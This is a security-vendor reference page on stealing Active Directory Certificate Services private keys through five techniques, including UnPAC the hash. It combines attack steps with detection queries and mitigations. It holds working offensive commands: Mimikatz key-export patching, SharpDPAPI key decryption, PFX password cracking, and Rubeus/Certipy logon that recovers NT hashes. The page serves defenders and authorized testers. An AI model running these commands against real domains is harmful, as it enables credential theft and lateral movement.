1. Resources
  2. Identity Threats
  3. Active Directory

AD CS Certificate Theft (THEFT1 to THEFT5)

Also known as: THEFT1, THEFT2, THEFT3, THEFT4, THEFT5, UnPAC the hash

An attacker on a compromised host exports or decrypts the private keys of existing user and machine certificates, or finds certificate files, and logs on with them elsewhere.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: Specific rights or roles
A session as the certificate's owner for user certificates, local administrator or SYSTEM for machine certificates, or read access to a share or disk that holds certificate files.
What the attacker gains
A working logon certificate for the user or computer, valid until expiry or revocation, and through PKINIT the account's NT hash.
Threat groups
APT29NIMBUS MANTICOREAPT38KimsukyRockeScattered SpiderStorm-0501TeamPCPTeamTNTVolt TyphoonGroups that MITRE ATT&CK records using T1649, T1552.004.

How it works

A certificate is public. What makes it a credential is the private key that goes with it. In a domain that uses AD CS, users and computers hold certificates with client authentication usage for smart card style logon, Wi-Fi and VPN access, and their private keys are, in most deployments, files on disk protected by DPAPI. An attacker who gets the key together with the certificate can authenticate as the owner from any machine, without enrolling anything and so without any record on the CA.

The Certified Pre-Owned research lists five techniques.

THEFT1: export through the crypto APIs. Windows exposes certificate stores through CryptoAPI (CAPI) and its successor CNG. If the key is exportable, the owner can export a PFX from the certificate console, with the Export-PfxCertificate cmdlet or with a tool such as CertStealer. If the key is marked non-exportable, the APIs refuse, but the refusal is a software check. Mimikatz patches it: crypto::capi in its own process for CAPI keys, crypto::cng in the memory of lsass.exe for CNG keys.

THEFT2: user keys through DPAPI. User certificates are stored in the registry under HKCU\SOFTWARE\Microsoft\SystemCertificates and under %APPDATA%\Microsoft\SystemCertificates\My\Certificates. Their private keys are files in %APPDATA%\Microsoft\Crypto\RSA\<user SID>\ (CAPI) or %APPDATA%\Microsoft\Crypto\Keys\ (CNG), encrypted with a DPAPI master key that is in turn protected by the user's password. With the master key, obtained from the user's session, the user's password or the domain's DPAPI backup key, the key file can be decrypted without touching the crypto APIs.

THEFT3: machine keys through DPAPI. Machine certificates are under HKLM\SOFTWARE\Microsoft\SystemCertificates, with keys in %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys (CAPI) and %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys (CNG). They are encrypted with the machine's DPAPI master keys, which need the DPAPI_SYSTEM LSA secret. The domain backup key does not open them; SYSTEM on the host does.

THEFT4: certificate files. PFX and P12 files, PEM files with keys, and Java keystores are left on file shares, in download folders, in deployment scripts and in backups. A PKCS#12 file is protected only by its password, which can be attacked offline.

THEFT5: the NT hash from PKINIT. To let certificate users still authenticate with NTLM, the KDC returns the account's NT hash inside the ticket when PKINIT is used, in the PAC_CREDENTIAL_INFO buffer, encrypted so that the certificate holder can read it. Any stolen or issued certificate therefore also yields the hash. The technique is known as UnPAC the hash.

Prerequisites

  • A certificate with an authentication EKU on the compromised system, or in a file the attacker can read, and a domain controller that will accept it.
  • THEFT1: a session as the owner, plus the ability to patch the process or LSASS when the key is non-exportable (administrator and debug privilege for LSASS).
  • THEFT2: the user's session, the user's password, or the domain DPAPI backup key, and read access to the user's profile.
  • THEFT3: local administrator or SYSTEM on the host.
  • THEFT4: read access to the location of the file, and the file's password.
  • THEFT5: any working certificate and its key.
  • A key stored in software. Keys in a TPM, a smart card or an HSM cannot be copied by these methods.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. See what a certificate is good for

Before stealing or after finding a file, check the usages and the subject:

certutil -dump -v cert.pfx

In the user's session, certutil -user -store My lists the certificates in the personal store with their key details.

2. THEFT1: export from the store

With an exportable key, the built-in cmdlet is enough:

$pw = ConvertTo-SecureString -String '<pfx-password>' -Force -AsPlainText
Get-ChildItem Cert:\CurrentUser\My\<thumbprint> | Export-PfxCertificate -FilePath C:\Windows\Temp\alice.pfx -Password $pw

With a non-exportable key, Mimikatz patches the export check and writes the certificates to files (public part as DER, private part as PFX protected with the password mimikatz):

mimikatz # crypto::capi
mimikatz # privilege::debug
mimikatz # crypto::cng
mimikatz # crypto::certificates /export
mimikatz # crypto::certificates /systemstore:local_machine /store:my /export

3. THEFT2: decrypt user keys with DPAPI

In the user's own context, SharpDPAPI asks DPAPI to decrypt the keys, without elevated rights and without touching LSASS:

SharpDPAPI.exe certificates /unprotect

From another context, give it the means to decrypt the user's master keys: the domain DPAPI backup key, or the user's password:

SharpDPAPI.exe certificates /pvk:<base64-domain-backup-key>
SharpDPAPI.exe certificates /password:<user-password>

Mimikatz can obtain a single master key in the user's session by asking a domain controller to decrypt it:

mimikatz # dpapi::masterkey /in:"C:\Users\alice\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>" /rpc

SharpDPAPI prints each certificate with its private key as PEM. Convert it for use on Windows:

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

4. THEFT3: decrypt machine keys

From an elevated prompt, SharpDPAPI elevates to SYSTEM, reads the DPAPI_SYSTEM secret, decrypts the machine master keys and then the machine certificate keys:

SharpDPAPI.exe certificates /machine

5. THEFT4: find and open certificate files

Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.jks, *.keystore -ErrorAction SilentlyContinue

For a password-protected PKCS#12 file, extract a hash and attack the password offline:

pfx2john.py certificate.pfx > hash.txt
john --wordlist=passwords.txt hash.txt

6. Use the certificate, and THEFT5

Rubeus.exe asktgt /user:alice /certificate:alice.pfx /password:<pfx-password> /getcredentials /nowrap
certipy auth -pfx 'alice.pfx' -dc-ip 192.0.2.10

Both request a TGT through PKINIT and then recover the NT hash from the ticket. Certipy skips the hash with -no-hash. If Kerberos certificate logon is not available, the same PFX can authenticate to LDAP over TLS, as described under Pass-the-Cert.

Impact

A stolen user certificate is that user, for the rest of the certificate's validity. It works from the attacker's own machine, which makes it a clean tool for lateral movement, and it is not affected by the user changing their password. Through THEFT5 the attacker also holds the NT hash, usable for pass-the-hash against services that accept NTLM, and can read the new hash after each password change.

A stolen machine certificate gives the computer account, and with S4U2Self administrative access to that computer. On a CA server, the machine store contains the CA certificate itself; stealing that key is the Golden Certificate attack. With the domain DPAPI backup key, an attacker can decrypt the certificate keys in every user profile they can read, which turns one credential theft into many.

OPSEC and artifacts

  • Nothing happens at the CA. No request, no issuance, no database row. This is the main reason an operator prefers theft over enrollment, and it is why the technique rates high for detection difficulty.
  • API export. An export through CNG of a key held by the Microsoft Software Key Storage Provider writes event 5059 on the host, and reading the key file writes event 5058, both only when Audit Other System Events is on. Routine certificate use produces the same events, so they need a baseline.
  • Patching LSASS. crypto::cng writes to the memory of lsass.exe. LSA protection blocks it, and endpoint detection treats a handle to LSASS with write access as an alert. An operator avoids it by using the DPAPI route.
  • DPAPI route. SharpDPAPI reads key files and master key files from the profile and decrypts them in its own process. With /unprotect it uses the user's own DPAPI context and does not touch LSASS. What remains is file access to Microsoft\Crypto and Microsoft\Protect by a process that is not a Windows component, visible only with file auditing or endpoint telemetry.
  • Asking the domain controller. dpapi::masterkey /rpc has a domain controller decrypt the master key's backup copy. With Audit DPAPI Activity on, the host logs event 4693, the same event a legitimate recovery after a password reset writes.
  • File hunting. Recursive searches for certificate extensions across shares appear as event 5145 on file servers with detailed file share auditing. Cracking the PFX password happens offline.
  • Use of the certificate. The logon is visible: event 4768 with the certificate's issuer, serial number and thumbprint, from a host the owner does not use. Recovering the hash adds a ticket request by the account to itself, event 4769, right after the TGT. Certipy's -no-hash leaves that request out.

Detection

  • Certificate logon from a new source. The serial number in 4768 identifies one certificate, and a certificate normally lives on one device. The same serial number authenticating from a second address, or from an address outside the owner's usual set, is the strongest signal.
  • TGT with certificate followed by a self-targeted ticket request for the same account within seconds, which is the hash recovery step.
  • Key store access on endpoints. Processes other than Windows components reading %APPDATA%\Microsoft\Crypto, %APPDATA%\Microsoft\Protect or the MachineKeys folder, and known tool names or arguments such as certificates /machine, crypto::certificates and /export.
  • LSASS tampering. Covered by the controls on the LSASS credential dumping page.
  • Key exports on servers. On CA servers, the CA private key export rules cover events 5059 and 4876.
  • Privileged accounts suddenly using certificates. The weak certificate mapping rules include the built-in Administrator obtaining a TGT with a certificate.
// One certificate (serial number) used for logon from more than one source address
WindowsEvent
| where EventID == 4768 and Provider == "Microsoft-Windows-Security-Auditing"
| extend Account = tostring(EventData.TargetUserName),
         Serial = tostring(EventData.CertSerialNumber),
         Issuer = tostring(EventData.CertIssuerName),
         Source = tostring(EventData.IpAddress)
| where isnotempty(Serial)
| summarize Sources = make_set(Source), SourceCount = dcount(Source),
            FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated)
    by Account, Issuer, Serial
| where SourceCount > 1

Devices that roam between networks change address legitimately, so tune the result by subnet or by device before alerting.

Mitigation

  • Keep private keys out of software. Use TPM-backed key storage providers for user and machine certificates, and smart cards or security keys for privileged users. A key that cannot be read cannot be copied.
  • Do not rely on the non-exportable flag. It stops honest export, not theft. Still set it, and do not enable key archival or exportable keys on authentication templates without a need.
  • Protect LSASS and the session. Enable LSA protection and Credential Guard as in the LSA protection and Credential Guard guide, and keep users from being local administrators.
  • Protect the domain DPAPI backup key. It is a domain controller secret. See DPAPI domain backup key theft.
  • Clean up certificate files. Search shares, deployment folders and repositories for PFX, P12 and key files, remove them, and revoke what they contained. Require strong passwords on the files that must exist.
  • Shorten validity of authentication certificates so a stolen one expires sooner.
  • Reduce NTLM. THEFT5 gives a hash; where NTLM is restricted, the hash is worth less.
  • Revoke on compromise. When a host or account is compromised, revoke every certificate whose key was stored there and publish a CRL, in addition to the password reset. Tier 0 handling of certificates is part of the Active Directory hardening guide.

Detection rules for this attack

Log events to collect

FAQ

Can a private key marked as non-exportable be stolen?

Yes, when it is stored in software. The non-exportable flag is enforced by the Windows crypto APIs, not by encryption the attacker cannot reach. Mimikatz patches the check in the current process (crypto::capi) or in LSASS (crypto::cng), and SharpDPAPI skips the APIs and decrypts the key file with DPAPI keys. Keys held in a TPM, smart card or HSM are not exposed this way.

What is UnPAC the hash?

THEFT5. When an account logs on with a certificate through PKINIT, the KDC places the account's NT hash in the PAC_CREDENTIAL_INFO buffer of the ticket, so that the client can still use NTLM. Whoever holds the certificate can decrypt that buffer and read the hash. Rubeus does it with /getcredentials and Certipy auth does it by default.

Does resetting the user's password invalidate a stolen certificate?

No. The certificate stays valid until it expires or is revoked on the CA. Worse, the holder can run PKINIT again after the reset and read the new NT hash. Revoke the certificate and publish a CRL as part of the response.

How is certificate theft different from certificate persistence?

Theft takes a certificate and key that already exist, so the CA sees nothing: no request, no issuance event. Persistence enrolls a new certificate through the CA, which leaves a database row. Theft is quieter but depends on finding a suitable certificate on the host or in a file.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.